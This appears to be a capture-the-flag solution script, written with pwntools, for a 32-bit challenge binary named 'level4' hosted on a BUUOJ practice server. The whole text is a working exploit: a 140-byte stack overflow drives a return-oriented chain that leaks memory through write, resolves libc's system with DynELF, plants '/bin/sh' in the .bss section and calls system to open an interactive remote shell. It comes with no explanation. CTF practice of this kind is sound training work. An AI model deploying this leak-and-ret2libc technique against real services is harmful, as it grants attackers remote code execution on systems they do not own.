buuoj return 2 DynELF level4

from pwn import *
#p = process('./level4')
p = remote("node3.buuoj.cn", 27510)

elf = ELF('./level4')

pltwrite = 0x08048340
gotwrite = 0x0804A018
pltread = 0x08048310
bss_addr = 0x0804A024
start = 0x08048350


def leak(address):
    payload = 'a' * 140 + p32(pltwrite) + p32(start) + \
        p32(1) + p32(address) + p32(4)
    p.sendline(payload)
    leakaddress = p.recv(4)
    return leakaddress

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')

payload = 'a' * 140 + p32(pltread) + p32(start) + \
    p32(0) + p32(bss_addr) + p32(8)
p.send(payload)
p.send("/bin/sh\0")

payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload)
p.interactive()